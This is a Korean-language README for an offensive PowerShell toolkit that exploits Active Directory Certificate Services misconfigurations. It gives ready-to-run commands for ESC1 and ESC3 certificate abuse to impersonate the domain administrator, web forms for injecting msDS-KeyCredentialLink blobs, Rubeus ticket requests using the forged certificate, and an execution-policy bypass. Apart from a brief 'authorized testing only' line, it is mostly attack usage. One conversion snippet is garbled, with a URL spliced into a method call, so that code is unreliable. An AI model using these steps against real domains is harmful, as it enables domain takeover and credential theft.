
AD CS 익스플로잇 관련 자료는 여기에 들어갑니다
Certi-Bhai는 AD(Active Directory) 인증서 서비스(AD CS) 취약점을 공격하기 위한 포괄적인 PowerShell 공격 도구 모음입니다. 이 툴킷은 ADCS 환경에서 중요한 보안 오구성(misconfiguration)을 입증하는 다양한 에스컬레이션 시나리오(ESC)를 구현합니다.
AD(Active Directory) 인증서 서비스(AD CS)는 종종 잘못 구성되어 여러 공격 벡터를 생성합니다. Certi-Bhai는 일반적인 ADCS 취약점에 대한 보안 테스트 및 연구를 위한 실용적인 공격 스크립트와 유틸리티를 제공합니다.
승인된 테스트 환경에서만 책임감 있게 사용하십시오.
# Active Directory 모듈 (선택 사항, 향상된 기능용)
Import-Module ActiveDirectory
취약점: 인증서 템플릿이 임의의 SubjectAltName(SAN) 값으로 등록을 허용합니다.
기능: 과도하게 허용적인 템플릿으로 서명된 인증서를 생성하여 도메인의 모든 사용자 또는 컴퓨터를 가장할 수 있습니다.
사용법:
# ESC1 디렉터리로 이동
cd ESC1
# 공격 스크립트 실행
.
\esc1.ps1 -subjectName "CN=administrator,CN=Users,DC=indishell,DC=lab" `
-templateName "vuln" `
-altName "administrator" `
-pfxPass "password123"
매개변수:
-subjectName: 대상 사용자의 전체 DN(고유 이름)-templateName: 취약한 인증서 템플릿의 이름-altName: 요청할 대체 이름(사용자 이름/컴퓨터)-pfxPass: PFX 내보내기용 비밀번호출력: Rubeus와 같은 도구에서 사용할 수 있는 Base64로 인코딩된 PFX 인증서
비디오 튜토리얼: https://www.youtube.com/watch?v=l0gMw_mO4dw
취약점: 인증서 요청 에이전트가 모든 사용자를 대신하여 인증서를 요청할 수 있습니다.
기능: 인증서 요청 에이전트로 인증서를 등록한 다음 임의의 보안 주체에 대한 인증서를 요청합니다.
사용법:
# ESC3 디렉터리로 이동
cd ESC3
# 공격 스크립트 실행
.
\esc3_working.ps1 -templateName "CEOTemplate" `
-target_user "administrator" `
-domain "INDISHELL" `
-pfxPass "password123"
매개변수:
-templateName: 취약한 요청 에이전트 템플릿-target_user: 인증서를 요청할 보안 주체-domain: 도메인 이름-pfxPass: PFX 비밀번호출력: Base64 인코딩된 관리자 인증서(PFX)
비디오 튜토리얼: https://www.youtube.com/watch?v=fGjrM-JKnoM
취약점: 애플리케이션 정책 주입.
cd CSR_Generate
# 인증서 서명 요청 생성
.
\csr_short.ps1 -subjectName "CN=admin,CN=Users,DC=domain,DC=local" `
-altName "admin"
# CA에 CSR 제출
.
\csr_submit.ps1 -csr $csr `
-templateName "User" `
-caServer "ca-server.domain.local"
cert.aspx 웹 인터페이스는 AD CS RPC 엔드포인트에서 인증서를 요청할 수 있는 사용자 친화적인 양식을 제공합니다:
http://your-iis-server/cert.aspx
웹 인터페이스를 통해 LDAP 속성을 수정합니다. 이 스크립트는 기본적으로 msDS-KeyCredentialLink 속성에 blob을 주입하는 데 사용됩니다:
http://your-iis-server/ldap_update.aspx
기능:
.
\ESC1/esc1.ps1 -subjectName "CN=admin,CN=Users,DC=indishell,DC=lab" `
-templateName "User" `
-altName "administrator" `
-pfxPass "P@ssw0rd!"
# Rubeus용으로 사용 가능한 형식으로 PFX 변환
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("cert.pfx", "password")
[Convert]:https://raw.githubusercontent.com/incredibleindishell/certi-bhai/main/:ToBase64String($cert.RawData)
Rubeus.exe asktgt /user:administrator /certificate:$base64cert /nowrap
Q: 스크립트 실행이 차단됨
# 관리자 권한으로 PowerShell 실행
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
Q: 인증서 템플릿을 찾을 수 없음
Q: LDAP 연결 실패
문제를 발견했거나 개선 사항이 있으신가요? 책임감 있게 보고해 주세요.